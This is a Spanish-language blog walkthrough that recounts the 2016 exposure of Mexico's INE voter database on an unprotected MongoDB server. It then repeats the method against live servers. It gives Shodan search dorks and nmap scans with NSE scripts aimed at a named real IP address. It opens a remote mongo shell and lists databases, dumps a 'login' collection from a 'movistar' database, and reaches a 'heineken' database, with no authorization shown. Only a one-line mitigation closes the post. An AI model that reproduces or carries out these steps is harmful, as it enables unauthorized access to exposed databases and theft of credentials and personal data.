Simulación y radiografía del hackeo del INE

Si bien es cierto la intrusión o hackeo a los sistemas del INE no fue realizada, pero si el descuido en subir una base de datos a la nube en amazón y dejar el acceso a la base de datos sin contraseña.

Shodan es un motor de búsqueda que le permite al usuario encontrar iguales o diferentes tipos específicos de equipos (routers, servidores, etc.) conectados a Internet a través de una variedad de filtros. Algunos también lo han descrito como un motor de búsqueda de banners de servicios, que son metadatos que el servidor envía de vuelta al cliente.

Dicho esto podemos usar hacking con shodan para localizar ante internet el servidor donde se localizaba la base de datos del INE.

Vamos a https://www.shodan.io/

Basta con realizar una búsqueda con algún tipo de filtro relacionado con la institución. Por ejemplo google nos dice:

padron

Dado que la palabra «padron» obtenida en google tiene algo que ver con datos electorales podemos hacer combinaciones por año como: «padron2015» e incluso también «mongoDB padron2015».

search-shodan

Y obtenemos como resultado de la búsqueda:

diagrama

En la imagen anterior se observa la dirección IP del servidor, dominio en Amazon, localización del servidor, total de las bases de datos, tamaño de las bases de datos, el nombre de la base de datos interesante «padron2015» y el dbms de la base de datos un mongoDB.

Un dato curioso a observar es la fecha en que se incorporó a shodan la base de datos, el 14 abril del 2016.

Para la fecha del 22 de abril del 2016, o sea 8 días después de estar en la nube de amazón un investigador de seguridad de MacKeeper llamado Chris Vickery obtuvo acceso a esa base de datos que contenía 93,4 millones de registros de votantes.

mackeeper

 

Para más información sobre este hecho:
https://mackeeper.com/blog/post/217-breaking-massive-data-breach-of-mexican-voter-data
https://www.databreaches.net/personal-info-of-93-4-million-mexicans-exposed-on-amazon/

Bueno una vez mencionado el hecho resulta que muchas bases de datos mongoDB se suben ante internet sin alguna protección con contraseña, caso que le paso esta vez al INE y así el investigador de seguridad logró acceder libremente a toda la base de datos del INE sin algún tipo de restricción.

Utilizando este mismo patrón del hackeo al INE vamos a localizar servidores con base de datos vulnerables para hacer la mismísima simulación y radiografía del hackeo al INE.

En el buscador de shodan podemos utilizar el siguiente dork: mongoDB amazon country:»US»

result-shodan

Se pueden obtener muchos servidores con base de datos con fuga de información como se muestra en la imagen anterior, es cuestión de hacer combinaciones con el filtro de búsqueda o dork en shodan.

Una vez localizado una dirección IP cualquiera en shodan podemos hacerle un escaneo de puertos por un puerto específico en este caso el puerto número 27017 que es el puerto para conexiones remotas en MongoDb por default.

nmap-port

Como resultado se observa que el puerto de mongoDB se encuentra abierto y podemos intentar hacer la intrusión por ahí.

Shodan también muestra información almacenada en su caché para una exploración más rápida de los servicios para una dirección en específico por ejemplo para la IP obtenida anteriormente 174.127.77.146.

shodan-direccionIp

 

result-shodan2

Como vemos podemos encontrar otros servicios con su banners mediante shodan, ahí vemos otro puerto el 28017 que corre un servicio web HTTP.

http://174.127.77.146:28017

otro puerto 28017-0

otro puerto 28017

Ahí podemos ver un log de conexiones y consultas a la base de datos, donde se fuga mucha información sensible.

Entonces tenemos dos puertos el 27017 y el 28017 y procedemos al escaneo con nmap.

nmap -n -sS -sV 174.127.77.146 -p 27017,28017

nmap-2-port

Ahí podemos observar que el puerto 27017 corresponde a un MongoDB 2.4.10, y el puerto 28017 corresponde a una consola por un servicio web que mostrábamos anteriormente.

Nmap trae un conjunto de scripts nse que ayudan a realizar el ataque.

Script mongodb-brute: este script ayuda a saber si la conexión a mongodb ocupa de autentificación, para ello utilizamos el siguiente comando.
nmap -n 174.127.77.146 -p27017 –script mongodb-brute

script-nse-autentica

Ahí podemos observar que no necesita autentificación para la conexión a la base de datos, o sea no ocupa alguna contraseña, un error grave, algo similar al caso del INE.

Ahora podemos enumerar las bases de datos con nmap.

nmap -n 174.127.77.146 -p27017 –script mongodb-databases

img-list-dbs

Ahora instalamos el cliente mongoDB en KaliLinux 2.0

apt-get install mongoDB

install-mongo

Hacemos la conexión a la IP: mongo 174.127.77.146

incial-conexion-mongo

Una vez obtenido la shell de conexión a mongodb de manera remota ejecutamos el comando siguiente para obtener la información del servidor.
db.adminCommand ( { «hostInfo» : 1 } )
host-info

Ahora mostramos las bases de datos en el servidor.

show dbs

show-dbs

Ahí vemos algunas bases de datos interesantes como movistar.

Para seleccionar una base de datos y hacer consultas sobre ella utilizamos el comando use «database».

use movistar_20150812

use-movistar

Para ver las tablas de la base de datos seleccionada ingresamos:

show collections

collection

Ahí podemos ver una tabla interesante llamada «login», por lo que procedemos a extraer la información y registros de la tabla con el siguiente comando db.tabla.find()

db.login.find()

login-find

Vemos ahí un dump de los registros de la tabla «login» de la base de datos «movistar_20150812«.

Acceso a otra base de datos llamada «heineken».

heineken

Con esto concluimos y nos damos cuenta cómo es que fue la intrusión a la base de datos del INE.

La solución es tan sencilla como establecer una contraseña al servidor mongoDB.

zer0max, Saludos!

One thought on “Simulación y radiografía del hackeo del INE”

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *